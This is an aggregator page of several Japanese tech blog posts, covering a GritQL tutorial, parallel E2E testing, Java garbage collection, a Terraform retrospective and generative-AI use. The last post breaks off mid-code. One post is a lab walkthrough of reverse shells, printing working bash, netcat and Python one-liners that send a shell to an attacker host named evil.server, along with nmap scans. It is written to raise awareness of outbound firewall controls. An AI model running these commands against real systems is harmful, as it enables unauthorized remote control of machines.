TECH PLAY

株式会社ラクス

株式会社ラクス の技術ブログ

927

こんにちは。フロントエンド開発課の koki _matsuraです。 今回はX(旧 Twitter )で話題になっていた ポスト(旧ツイート) を見て、実際にGritの チュートリアル を通して触ってみたので、備忘録的な感じで軽くGritの概要やクエリ言語であるGritQLの基礎的な構文を紹介させていただきます。 目次は以下のようになっています。 Gritとは GritQLとは チュートリアル コードの検索 メタ変数 コードの変換 条件付き変換 パターン修飾子 パターンの再利用 終わりに Gritとは ソフトウェアのメンテナンスを簡潔にしてくれるツールです。 具体的には対象のコードを目的のコードベースの状態に変換してくれるものです。 Gritの大部分は静的解析によるコード操作を可能にするクエリ言語であるGritQLと変換を目的のコードベースのルールに適用させるAIにより構成されています。 現在はベータバージョンです。 www.grit.io GritQLとは GritQL言語とはコードの検索と変換のためのGritのクエリー言語です。 少ない行数のクエリで複雑な変換を可能としています。 チュートリアル ここからは実際にGritQLを チュートリアル を通して触っていきたいと思います。いろいろなクエリが書かれています。Patternsの最初の例を見てみましょう。 下の画像にある「Run Pattern」を押すとその例のクエリが書かれたエディタが右に出てきます。 エディタの上がGritQLで下がインプットのコードです。 また、もう少し大きいエディタで書きたい場合は右上のリンクからStudioを使いましょう。 初期画面にはデフォルトで何かのクエリが書いてあるかもしれませんが、消せば問題なく自由に書くことができます。 インプットのコードも自由に編集可能です。 コードの検索 最初は console.log("Hello world!") の例を見てみましょう。 この例はシンプルでインプットのコードの中から console.log("Hello world!") を検索しています。 例えば、 console.log(42) に書き換えてみましょう。すると、インプットコードの反応する部分が変わります。 非常に簡単に検索ができます。しかしながら、一つ注目するべきなのはコードには反応していますが、 コメントには反応しない ことです。これはGritQLが単純な文字列マッチングでなく、 JavaScript として機能しているものに反応する ということです。 なので、以下のようなコメントではない文字列の場合もJSではないので反応しません。 `Hello world!` しかし、単純に文字列を検索したい時もあると思います。そのような時は、 "" で囲むことで任意の文字列検索をできます。 メタ変数 メタ変数とは特に意味のない変数のことです。特に日本では hoge や fuga が有名だと思います。 先ほどの console.log("Hello world!") の例ではコンソールの中身が「 Hello world !」でないと反応しません。これでは実用性は低いです。 そこでメタ変数を使いましょう。使い方は以下のようにします。 console .log ( $message ) これでコード上の console.log をキャッチできます。 GritQLでメタ変数を使うためにはマッチさせたい部分を好きな変数名にして先頭に $ マークをつけるだけです。 コードの変換 検索もですが、変換をできるところがGritQLの目玉機能となっています。 やり方はシンプルで、 変換したい値 => 変換後の値 です。 以下の例では JavaScript の var を const に置き換えるものです。 var を文字列として検索しています。 "var" => `const` 結果は以下のようにvarをconstに書き換えられています。 条件付き変換 変換に対して条件を設けるのも簡単です。 SQL と同じで where句 を使います。 例えば、実用性は低めですが、特定のconsoleだけをalertにしたい場合は以下のようにします。 `console.log($message)` => `alert($message)` where { $message <: `"これをalertにする"` } <: はマッチ 演算子 といい、 $message が "これをalertにする" と一致するかを見ています。 結果は以下のように「これをalertにする」以外のconsoleは書き換えられていません。 GritQLでは where だけでなく、 or や and なども使えます。 例えば、以下のクエリは公式が出している「Non-strict == => strict ===」です。orとwhereを使った実用的なものです。 or { `$x == $y` => `$x === $y` , `$x != $y` => `$x !== $y` } where { $y <: not `null` } この例では等価・不等価 演算子 を厳密等価・不等価 演算子 に変換をしています。条件として、比較の右側が null ではない時のみになります。 結果は以下のように $y == null 以外は厳密等価・不等価 演算子 に変換されています。 パターン修飾子 パターン修飾子というのは先ほど使った and や or などのマッチング方法を変換するもののことを言います。 単体で使うのではなく、複数を組み合わせることでより柔軟に対応することができます。 公式の「Function expressions to arrow functions」を例に取ります。 これは名前からもわかると思いますが、関数の書き方を変換するものです。 or { `function ($args) { $body }` => `($args) => { $body }` where { $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` } , `($args) => { return $value }` => `($args) => $value` } 今までの例と比べるとかなり複雑に見えますが、少しずつ解釈していけば難しくありません。 1行目の or はコードから function ($args) { $body } か ($args) => { return $value} のどちらかに当てはまるものを抽出してきています。 ($args) => { return $value} に関しては以下のように ($args) => $value に変換しているだけです。 function ($args) { $body } の方は ($args) => { $body} に変換するのですが条件をつけています。 この条件の中で contains と until が新しく出てきます。それぞれ説明します。 contains : 特定のパターンを含んでいるかどうかをチェックします。今回の場合は $body の中に this または arguments を含んでいないことが条件となっています。 until : contains と共に用いるもので、パターンチェックをどこまでするのかを決められます。今回の場合では、 function $_($_) {$_} にマッチする構文にぶつかるまでパターンチェックを行うように設定しています。 ちなみに、 $_ は匿名メタ変数といい、 ワイルドカード 的な感じで使うものです。 $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` よって、上記のパターンは関数の処理の中で function $_($_) { $_ } にぶつかるまでに this または arguments を含んでいないことを条件に持ちます。 結果は以下のようになります。 rememberは function $_($_) { $_ } がそもそもないので、関数の処理内容全体がcontainsの対象となり、thisを含んでいるため変換されていません。 sumToValueはthisがありますが、 function $_($_) { $_ } の中にあり、containsの対象にはならないため変換されています。 パターンの再利用 GritQLのクエリも他の プログラミング言語 の関数同様に再利用したいことがあります。 そのような時は、パターンとして定義しましょう。書き方は pattern ${パターン名} (${引数}) { ${クエリ} } のような書き方をします。 例えば、console.logを消すパターン「delete_console_log」は以下のように作成できます。 pattern delete_console_log () { `console.log($message)` => . } 作成したパターンは関数実行と同様に delete_console_log() で使えます。 console.logのみが消されていることも以下から確認できます。 一部省いたものもありますが、以上が チュートリアル で紹介されているものでした。 終わりに 今回はGritQLを触ってみました。 クエリでコードを一気に変換できるのはとても魅力的ですよね。まだベータバージョンなのですが、できることが非常に多くて楽しいです。 機会があれば、応用編としてGritQLで実務にも使えそうなカスタムパターンを作って、記事を書きたいと思うので、期待していただけると幸いです。 また、 チュートリアル では紹介しきれなかったパターンや条件 演算子 などもあるので、 公式のドキュメント を読むことをお勧めします。 最後まで読んでいただきありがとうございました!
アバター
noriharu3 です。 E2Eテストの実行時間短縮を目指して、複数サーバーでテストを並列実行してみましたのでご紹介します。 複数のサーバーでE2Eテストを実行する方法 E2Eテストを並列実行させる E2Eテストを複数のサーバーで並列実行させる 結果 Before After 最後に 複数のサーバーでE2Eテストを実行する方法 元々E2Eテストは以下の構成で実装されていました。 Java Gradle Selenium Gradleを使用していたので並列実行するだけなら、パラメーターを設定するのみ。 なのですが、今回はE2Eテストを1つのサーバーで並列実行するのではなく、 複数サーバーでE2Eテストを並列実行できないか 模索しました。 理由としては、E2Eのテストケース毎にDBの ロールバック が必要となっていたため、 1つのサーバーで並列実行することがそもそもできなかったからです。 E2Eテストを並列実行させる Gradleを使っている場合は、パラメーターを設定するだけです。 終わりですw。 docs.gradle.org // build.gradle test { useJUnitPlatform () ++ maxParallelForks = 2 } E2Eテストを複数のサーバーで並列実行させる テスト実行前の事前処理で実行するサーバーを決定し、テスト毎に実行するサーバーを切り替えます。 具体的には、テスト未実施のサーバーリスト一覧をテキストファイルに保持しておき、そこからテストを実行するサーバーを決定します。 処理の流れ サーバーリストから、テストを実行するサーバーを決定する @BeforeAll に処理を追加することで実現 サーバーリストからサーバーを取得する際の 排他制御 は flock コマンドでサクッと実装 テスト実行する DBを ロールバック する サーバーリスト一覧にサーバーを戻す @AfterAll に処理を追加することで実現 // e2e_server_list e2e_server_1 e2e_server_2 // E2EテストプログラムのAbstract Class ... (途中省略) @BeforeAll protected void リモートホスト割り振り() { Map<String, String> result; try { result = execCommand( "sh" , "server_pop_push.sh" , "pop" ); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } setServerName(result.get( "stdout" )); } ... (途中省略) @AfterAll public void リモートホスト返却() { try { execCommand( "sh" , "server_pop_push.sh" , "push" , getServerName()); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } } } ... (途中省略) // server_pop_push.sh SERVER_LIST_FILE = " e2e_server_list " LOCK_FILE = " /tmp/e2e.lock " # 0/1/2以外の任意のファイルディスクリプタ(番号)を指定 exec 200 >" ${LOCK_FILE} " flock 200 ### メイン処理開始 if [ $1 = "pop" ]; then cat $SERVER_LIST_FILE | tail -n 1 sed -ie ' $d ' $SERVER_LIST_FILE elif [ $2 != '' ]; then echo $2 >> $SERVER_LIST_FILE else echo ' 引数が不正です。 ' fi 結果 結果として、2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 Before 1台のサーバーで順番にテストを実行していました。 After 指定したサーバ台数で分散して、E2Eテストを実行できるようになりました。。 各サーバに均等に処理が振り分けるわけではなく、テスト未実施のサーバーに振り分けられます。 2台のサーバーで並列実行したところ、テスト時間は約半分(40%)となりました。 最後に E2Eテストを 分散 並列実行 したブログは多くあるかと思いますが、これらは 1つのサーバーに対して複数のブラウザを立てて処理を実行するもの がほとんどでした。 DBの ロールバック が必要など、何らかの理由で単純にE2Eテストを並列処理できず困っている方に、何らかのヒントを提供することができたら幸いです。
アバター
はじめまして!バックエンドエンジニアのnnhkrnkと申します! 先日組み込み系エンジニアの友人と話していた際、 C言語 ではメモリをユーザが意図的に開放しないと メモリリーク が起きるということを初めて知りました。 自分は普段 Java を書いてますが、メモリを意識してコーディングをしたことはほとんどありません。どのような仕組みになっているのか気になったため、 Java におけるメモリ解放について調べてみました! メモリ解放は誰がやっているのか メモリ解放の仕組み 4種類のメモリ領域 ヒープ領域の詳細 ガベージコレクション マイナーGC フルGC おわりに 参考 メモリ解放は誰がやっているのか Cや C++ ではユーザが意図的にメモリ管理をする必要がありました。 Java では JVM がその役割を担っています。メモリの使用や解放を自動で行ってくれるため、ユーザがメモリを意識せずにコーディングできるというわけです。 メモリ解放の仕組み メモリ解放は JVM の ガベージコレクション ( GC ) という機能で行われています。 ガベージコレクション の処理を知る前に、 JVM が管理するメモリ領域について整理していきましょう。 4種類のメモリ領域 Java プログラムが実行されると、 Java のプロセスにメモリが割り与えられます。そのメモリ領域は以下の4つの領域に分けられます。 ヒープ領域 スタック領域 メタスペース ネイティブメモリ(※ JVM ではなくOSが管理する領域) 領域 用途・特徴 ヒープ領域 生成された インスタンス の情報が保存される領域。 スタック領域 実行中のプログラムの情報が保存される領域。 実行中の行が「どこから呼び出されていて、どんな情報を参照可能か」などを持っているイメージ。 メタスペース クラス定義、メソッドコード、定数プールなどのクラス関連の情報が保存される領域。 ネイティブメモリ Java プログラムがネイティブコード(C、 C++ などで記述されたコード)を呼び出す際に使用される領域。 JVM ではなくOSが直接管理をしている。 このうち、プログラム実行中にメモリ管理が必要になるのはヒープ領域になります。 ガベージコレクション では、このヒープ領域を対象としてメモリの管理を行っています。 ヒープ領域の詳細 ヒープ領域は大きく分けて以下の2つの領域で構成されています。 Young領域 Old領域 領域 特徴 Young領域 メモリに格納されてからの時間が比較的短いデータが格納されている領域。 新しく生成されたオブジェクトが一時的に配置される。 Old領域 メモリに格納されてからの時間が比較的長いデータが格納されている領域。 Young領域からのオブジェクトが長寿命のものとして移動する。 Young領域にはさらに Eden と Survivor の2つの領域に分けられます。 Survivor は領域が2つありますが、どちらも役割は同じです。 ヒープ領域の詳細 ガベージコレクション ガベージコレクション の処理の流れを理解する前に、 ガベージコレクション には主に以下の2種類があるということを押さえておきましょう。 ガベージコレクション の種類 対象領域 トリガー条件 マイナー GC Young領域(Eden領域、Survivor領域) Eden領域がいっぱいになった場合 フル GC ヒープ領域全体(Young領域とTenured領域) Tenured領域がいっぱいになった場合 マイナー GC マイナー GC は以下のルールに沿ってメモリ解放を行います。 * Eden領域のデータ * データが不要(参照されてない)の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをSurvivor領域に移動させてメモリを解放する * Survivor領域のデータ * データが不要の場合、データを削除してメモリを解放する * データがまだ必要な場合、データをもう片方のSurvivor領域かTenured領域に移動させてメモリを解放する 具体的に図で見ていきましょう。 インスタンス が生成される、そのデータはEden領域に格納されます。 これが繰り返されるとEden領域がいっぱいになり、いずれはメモリが足りなくなってしまいます。 その際に実行されるのが マイナー GC です。 マイナー GC 実行契機 実行開始後、Eden領域のデータがまだ参照されているかどうかを確認します。参照されてない場合は削除、参照されている場合はSurvivor領域に移動させることでメモリ解放を行います。 マイナー GC の処理(Eden領域) 同じタイミングでSurvivor領域のメモリ解放も行います。参照されてない場合は削除することでメモリ解放を行い、まだ参照されている場合はもう片方のSurvivor領域に移動することでメモリを解放します。 マイナー GC の処理(Survivor領域) そのため、長い間解放されないデータは2つのSurvivor領域を行き来することになります。この回数には上限があり、上限を超えたデータはTenured領域に移動されるというわけです。 マイナー GC の処理(移動上限超過) フル GC マイナー GC を繰り返していくと、必要なデータが多く残っている場合にTenured領域がどんどん埋まっていってしまいます。 これを繰り返すと、マイナー GC 実行時にTenured領域に空きがないために必要なデータを移動できないという事態が発生し、マイナー GC 自体が失敗してしまいます。 その失敗を契機として実行されるのが フル GC です。 フル GC 実行契機 Full GC では、YoungとOldの両方に対してメモリ解放を行います。Young領域に対してはマイナー GC と同じルールで実施し、Oldについては不要になったメモリを解放するというシンプルなルールです。 フル GC の処理 おわりに 今回は Java のメモリ解放について記載しました! 自分が普段メモリ解放を意識せずにプログラミングできているのはこのような便利な機能のおかげなんですね!勉強になりました! それではまたの記事でお会いしましょう! 参考 以下の記事を参考にさせていただきました!ありがとうございました! JavaのGCの仕組みを整理する Javaのインスタンス変数とクラス変数(スタック領域とヒープ領域) Javaの並行処理を理解する(入門編) Java8以降のメモリ設定について JVM のメモリ構造
アバター
こんにちは、インフラエンジニアのfro-rivです。 セキュリティ関連でよく耳にするリバースシェル(reverse shell)について、 実際にどうやって実現するのか気になったので調べた結果をまとめてみました。 本記事に記載の手順は、不正な通信とみなされる可能性がありますので、 試す際は管理下のサーバで実施する・適切な許可を取得するなど法的な制約を遵守してください。 リバースシェルとは リバースシェルを試してみる 実現したいこと 前提 事前準備 パターン1:bash パターン2:netcat パターン3:python さいごに 参考 リバースシェルとは リバースシェルとは、自ら接続先サーバ(以下、リモートサーバ)に接続しに行く通常の流れとは違い、 リモートサーバからシェルを渡しに来る通信方法です。 接続の際は、自ら(接続元で)任意のポートをリッスンし、 リモートサーバがアクセスしに来る 形をとるので、リモートサーバ側の ファイアウォール で設定されているINPUT 通信制 御に関係なく接続できます。 以下は超ざっくりとしたイメージです。 ▼通常アクセスの場合 リモートサーバに接続しようとするが、 ファイアウォール で許可されていなければブロックされる 通常アクセス ▼リバースシェルの場合 リモートサーバから接続しに来るので、相手の ファイアウォール のINPUT 通信制 御は関係ない リバースシェル リバースシェルを試してみる 実際にリバースシェルはどのような動きになるのか、どんなコマンドを使うのかを試してみたいと思います。 実現したいこと リバースシェルを用いて、 evil.server (攻撃者)にて、firewalldで外部からのINPUT接続ができないようにした remote.server (リモートサーバ)の bash を操作できるようにしたいと思います。 環境は以下を利用します。 攻撃者 ホスト名: evil.server IPアドレス : 172.YY.YY.YY (マスクします) OS:Ubuntu22.04 リモートサーバ ホスト名: remote.server IPアドレス : 172.XX.XX.XX OS:Almalinux8.7 今から3つの方法でリバースシェルを試してみますが、いずれも以下のような流れになります。 攻撃者が任意のポート(今回は9999番ポートを使う)で待ち受ける リモートサーバ側でコマンドを実行し、攻撃者に bash を渡しに行く 前提 今回はお試しなので、コマンドベース且つリモートサーバを直接操作します。 実際の攻撃では、不正侵入時や何らかの不正な方法でコマンドを記載した スクリプト やバイナリファイルを配布し 自動起動 させるなど、攻撃者が任意のタイミングで起動できる(接続させる)ように仕掛けるような流れになるかと思います。 事前準備 リバースシェルを試す前に、 remote.server でfirewalldを設定し、すべてのポートを遮断します。 zoneはpublic(デフォルト)→ drop に設定します。 ## remote.serverにてfirewalldのzoneをdropにする [root@remote.server ~]# firewall-cmd --set-default-zone=drop success [root@remote.server ~]# firewall-cmd --get-default-zone drop [root@remote.server ~]# firewall-cmd --list-all drop (active) target: DROP icmp-block-inversion: no interfaces: eth0 sources: services: ports: protocols: forward: no masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [root@remote.server ~]# 設定できたので、 evil.server より0-9999までのポートスキャンを実施しポートが閉じられていることを確認します。 ※全ポートスキャンは時間がかかりすぎることと、 SSH くらいしかサービスを起動していないこともあってとりあえず1-9999に指定してます ## 1-9999までのポートは空いていない root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC Nmap scan report for remote.server (172.XX.XX.XX) Host is up (0.0011s latency). All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered MAC Address: xx:xx:xx:xx:xx:xx (xx) Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds root@evil.server:~# ## 一応SSH接続も試みて、できないことも確認 root@evil.server:~# ssh 172.XX.XX.XX ssh: connect to host 172.XX.XX.XX port 22: Connection timed out root@evil.server:~# パターン1: bash では、リバースシェルを試してみます。 まずは bash コマンドで行うパターンです。 このコマンドを使用します。 bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1 ▼攻撃側 evil.server にて、netcat(ncコマンド)を使用して9999ポートで待ち受けます。 # -l:リッスンさせる -p:ポート指定 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 bash コマンドで evil.server の9999ポートに接続します。 [root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1 すると、攻撃側のターミナルにリモートサーバのプロンプトが表示されコマンド操作することができます。OSを確認してもリモートサーバ(Almalinux8.7)であることがわかります。 Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# パターン2:netcat 次は、ncコマンド(netcat)で行うパターンです。 このコマンドを使用します。 nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、ncコマンドを利用して evil.server の9999ポートに接続します。  ncコマンドの場合はvオプションを付けているので、 evil.server に接続できた旨のメッセージが出力されます。 [root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 172.YY.YY.YY:9999. すると、先ほどの様にプロンプトは表示されませんが攻撃側のターミナルでリモートの bash が実行できます。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 uname -n remote.server cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) ^C root@evil.server:~# パターン3: python 最後に、 python を使ってリバースシェルを試してみます。 このコマンドを使用します。 export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' ▼攻撃側 evil.server で実施することは同じで、ncを利用して9999ポートで待ち受けます。 root@evil.server:~# nc -l -p 9999 ▼リモートサーバ remote.server にて、 python コマンドを利用して evil.server の9999ポートに接続します。  [root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' こちらも、攻撃側のターミナルでリモートの bash が実行できるようになりました。 こちらも同じく、Ctrl+cを押下することで bash を終了できます。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# さいごに いかがでしたでしょうか。 ファイアウォール でINPUT(内向き)のアクセス制限をかけていても、OUTPUT(外向き)の制限がなければリバースシェルで bash を遠隔操作できることがわかりました。 手順も思っていたより簡単で、手元ですぐに試すことができました。 今回は bash , nc, python を利用する手順を紹介しましたが、これらはほんの一例で 以下のサイトの様に、 IPアドレス や実施方法・言語を選択してリバースシェル用のコマンドを生成できるサイトも存在します。 他にも ペネトレーションテスト 等で使用されるMetasploitと呼ばれる フレームワーク では、簡単にリバースシェルの ペイロード を作成できるようなので、こちらについてはまた調べてみたいと思います。 Online - Reverse Shell Generator 日々業務を行う中でも内向きの制御に目が行きがち(もちろん大事!)でしたが、改めて外向きの 通信制 御の大切さを認識できました。 また、セキュリティ関連は対策は知っていても、実際にどのように攻撃するかを知らないケースも多いので、攻撃手法を知る(違う視点で見る)という良い機会にもなりました。 個人的に興味のある分野なので、さらに深掘りして担当サービスや弊社サービスのセキュリティ向上につながっていけばベストだなと思います。 というわけで、以上とさせていただきます。 参考 https://linux.die.net/man/1/nc リバースシェルとは【用語集詳細】 Online - Reverse Shell Generator What Is a Reverse Shell | Acunetix
アバター
こんにちは。 前回は AWSの既存環境をTerraformでコード化してみた を投稿しましたが、 今回はその振り返りをしていきます。 前半はTerraformの基本的なところから、少し躓いた 三項演算子 について書いていきます。 これからTerraformでコード化していく方の助けになれればと思います。 後半は今回のコード化を通しての個人的な感想を書いていきます。 1.目次 1.目次 2. terraformコマンド 3. コード 4. コード化を通して 5. 終わりに 6. 参考 2. terraformコマンド 主に以下のコマンドを使用します。 #初期化 terraform init #仮実行 terraform plan #本実行 terraform apply #リソース取込 terraform import terraform init 書いたコードで他コマンドを実行するための準備をします。 これを実行しておかないとplanやapplyはできません。 terraform plan 実際に変更は行わず、追加/変更/削除の確認ができます(いわゆるdry-run)。 planは実環境ではなく terraform.tfstate との比較を行います。 terraform.tfstateはリソース情報が記載されている json ファイルです。 terraform apply コードを元に変更を行います。 planでエラーが出ていない場合でも、applyで出ることもあります。 terraform import コード化したリソースがすでに存在する場合、このコマンドを用いて terraform.tfstate に取り込みます。 importの書式は公式ドキュメントの各リソースのページ下部にあります。 上記以外にもterraform.tfstateを参照するコマンドで terraform state list :terraform.tfstateで管理しているリソースのリスト terraform state show "リソース名" :"リソース名"の情報 があります。 そのほか、plan/applyの実行時に -target=特定リソース と引数を渡すことで全体ではなく対象を絞ることが可能になります。 example_ec2_instance というリソースのみplanを実行する場合は、 terraform plan -target=module.aws_ec2.example_ec2_instance 複数のリソースにしたい場合は、 -target= を含めスペース区切りで引数を追加すれば可能です。 3. コード リソースごとに必要な設定項目は公式ドキュメントが分かりやすいと思います。 VSCode を使用されている場合は、 拡張機能 に「HashiCorp Terraform」がありますので、そちらをインストールすることで設定項目などの補完もしてくれます。 count 三項演算子 を使用することができ、本番/検証環境で場合分けをすることが可能です。 ただし、多用しすぎると可読性が下がるため、なるべく使わなくていいようにした方が無難だと思います・・・。 以下がcountを用いた 三項演算子 の使い方の一例です。 count = "${var.a == "値" ? "0" : "1"}" 変数aに格納されている値と、条件となる値が一致していない場合に、そのリソースが作成されます。 main.tfで変数 env にstaging以外が格納されている場合に、「application_loadbalancer_public」が作成されます。 module " elb_module " { source = " ../../modules/elb " env = " product " ※省略 } resource " aws_lb " " application_loadbalancer_public " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " name = " application-loadbalancer-public " subnets = [ var.example_subnet1_id, var.example_subnet2_id ] load_balancer_type = " application " internal = false enable_deletion_protection = false desync_mitigation_mode = " defensive " xff_header_processing_mode = " append " idle_timeout = 60 access_logs { bucket = " example-bucket " enabled = true prefix = " AWSLogs " } } しかし、こうして作成したLBに対してリスナーを設定しようとすると、 そのままではエラーとなってしまいます。 LBのARNを参照させる際にインデックスを指定---①してあげる必要があります。 resource " aws_lb_listener " " listener_https " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " load_balancer_arn = aws_lb.alb_from_office [ 0 ] .arn --- ① port = " 443 " protocol = " HTTPS " ssl_policy = " ELBSecurityPolicy-2016-08 " certificate_arn = var.default_certificate_arn tags = {} tags_all = {} default_action { type = " fixed-response " order = 1 fixed_response { content_type = " text/plain " message_body = " Not Found " status_code = " 404 " } } } for_each 同じ構成のリソースが複数必要な場合に有用です。 今回のコード化ではfor_eachを使用していないため、具体的な使用例は割愛させて頂きます。 こちらも公式ドキュメントに詳細があります。 4. コード化を通して コード書くよりも・・・ AWS のリソースを見てコード化していくことは苦ではありませんでしたが、 importでのリソース取り込みが個人的に大変でした。 リソース取り込みにはARNやIDが必要となります。 リソースを一つずつ取り込まなければならず、route53であればレコード毎、LBであればルール毎など細かいリソースもあるため気が遠くなりそうでした。 達成感 コードを書ききってplan実行時のエラーも解消させ、最終的にコードと環境で差分が出ないとなった時の達成感は大きかったです。 今後はTerraformを運用に乗せていき、コードもブラッシュアップしていく必要がありますが一区切りつきました。 最終的なゴールはCI/CDのパイプラインも実装して、インフラ部分を自動化していければと思っています。 5. 終わりに 今年の4月から本格的に AWS に触り始め、Terraform?何それ?状態からスタートした AWS 環境のコード化でした。 最初の ディレクト リ構成に悩んだり、planを実行すると出てくる差分を一つずつ潰すなど、大変なことが多くありました。 ですが、やりきることはできたので次のステップも自信をもって進めていける良い体験にはなったかと思います。 6. 参考 Terraform Registry Terraform | HashiCorp Developer
アバター
はじめに こんにちは、サーバサイドエンジニアの rakusksato です 2023年皆さんにとって1番のトピックは何だったでしょうか? 個人的には生成AIの登場、主に ChatGPT や GitHub Copilot でした。 ラク スでは、生成AIを積極的に業務へ取り入れています。 今回は約1年間、生成AIを業務利用してみて感じたことを 対話型AI と GitHub Copilot についてそれぞれ分けて話していきたいと思います。 はじめに 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) 漠然としたアイデアから具体的なアウトプットを高速に生成できる 壁打ち相手として、質問者の認識外の回答も提供 これらをふまえて、 (1):答えを教えてください 例えば、 ただし、 (2):どんなアプローチがあるか教えてください 結論 GitHub Copilot 例えば、 品質について 例えば、 以下の通り改修 結果 まとめ 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) メリットとして特に感じたのは、 漠然としたア イデア から具体的なアウトプットを高速に生成できる 対話型AIは抽象的な考えやア イデア を具体的な形にする手助けをします。 例えば、アプリケーションの アーキテクチャ 設計、新機能のア イデア 、またはプロジェクトのスコープ定義などについて考える際に、具体的な案を出すことができます。 壁打ち相手として、質問者の認識外の回答も提供 対話型AIはプログラミングや設計の際に疑問や問題に直面したとき、解決策やアプローチを考える助けになります。 この壁打ちプロセスを通じて、ユーザーが自分で考えもしなかったような解決策や視点が提供されることがあります。 このような新しい角度や気づきは、問題解決やア イデア 生成に役立つことがよくあります。 以上のように、対話型AIは多様なニーズに応じて有用な情報や インサイト を提供できるツールです。 これらをふまえて、 以下単純な例ですが、 ChatGPT でイメージをかためる場合の(個人的に思う)悪い例(1)、良い例(2)です。 (1):答えを教えてください この程度であれば一瞬ですね。 簡単!ChatGPT神!と思うには、開発業務の場合では安直かもしれません。 例えば、 以下のような考慮が必要でしょう コンテキストの不足: AIは質問のコンテキストを完全に理解しているわけではありません。そのため、特定の用途や環境において最適な解決策を提供できないことがあるでしょう パフォーマンス: AIが生成したコードは効率的でない場合があります。パフォーマンスを重視する場合は、手動での最適化が必要になるでしょう 責任: 最終的には、生成されたコードをプロダクション環境で使用する責任はユーザーにあります。AIの出力は一つの参考程度に留め、必ず専門家の目で確認することが重要でしょう その他、セキュリティや依存関係など考慮すべきことはありますね。 ただし、 プロトタイプの実装や、業務外のプロジェクトにおいていえば、開発速度の大幅な向上をもたらす可能性があります。 このような環境では、高度なセキュリティやパフォーマンスが必ずしも求められていない場合が多く、AIの即時性と効率性が際立つメリットとなるでしょう。 (2):どんなアプローチがあるか教えてください これは、複数の選択肢の中から適切な選択ができます。 候補に対して質問を投げ返すことで理解を深め、方法を決定後にAIに実装イメージを生成してもらうのが適切でしょう。 実装に限った話ではなく、例えばエラーを解決したい場合、 アーキテクチャ を選定したい場合などにも当てはまるでしょう。 結論 答えではなく、選択肢を提示してもらうよう心がけるのがベターだと思います。 GitHub Copilot AIベースのコード補完ツール、コーディングの作業時間削減や品質の向上が見込め。 以下は copilot chat の調査内容ですが、多くの人がその結果に満足していることがわかります。 github.blog これは、プロンプターがアウトプットの明確なイメージを持っていることが前提で、対するコーディング作業時間の削減が主だと思っています。 例えば、 かなり初歩的な話ですが、「複数要素から一意な要素を特定する」ような実装をアウトプットとする場合 多くは、 stream に対して filter で要素を特定する実装が提案されるでしょう。( java ベースの話になりますが) 確かに copilot はとても頼りになり、シンプルで品質の高いコードを生成してくれるでしょう。 ですが、(前述の対話型AIとかぶりますが)例えば性能面を考慮するとどうでしょうか?要素を特定するのであれば他のアプローチとして HashMap の利用もしばしば検討されます。 これらはデータサイズや頻度、メモリ制約によってプロンプターが適切な選択をする必要があり、 copilot はコーディングの時短にフォーカスして利用すべきだと思います。 品質について 「 copilot を利用することで品質が上がる」ということをよく目にします。 おおむね同意ですが、注意すべき点として copilot は、冗長なコードでも無理なく理解し、空気を読んで冗長なコードから冗長なサジェストを生成してしまうことがあげられるでしょう。 例えば、 以下のようにあえて冗長なコードに対して改修を行うとします。 class Hoge { public Hoge(Integer value1, Integer value2) { this .value1 = value1; this .value2 = value2; } Integer value1; Integer value2; } public List<Hoge> hoge(List<Hoge> list) { if (list == null ) { return new ArrayList<>(); } List<Hoge> a = null ; for ( int i = 0 ; i < list.size(); i++) { var v1 = Objects.isNull(list.get(i).value1) ? 0 : list.get(i).value1; var v2 = Objects.isNull(list.get(i).value2) ? 0 : list.get(i).value2; if (v1 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } else if (v2 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } } if (a != null ) { return a; } else { return new 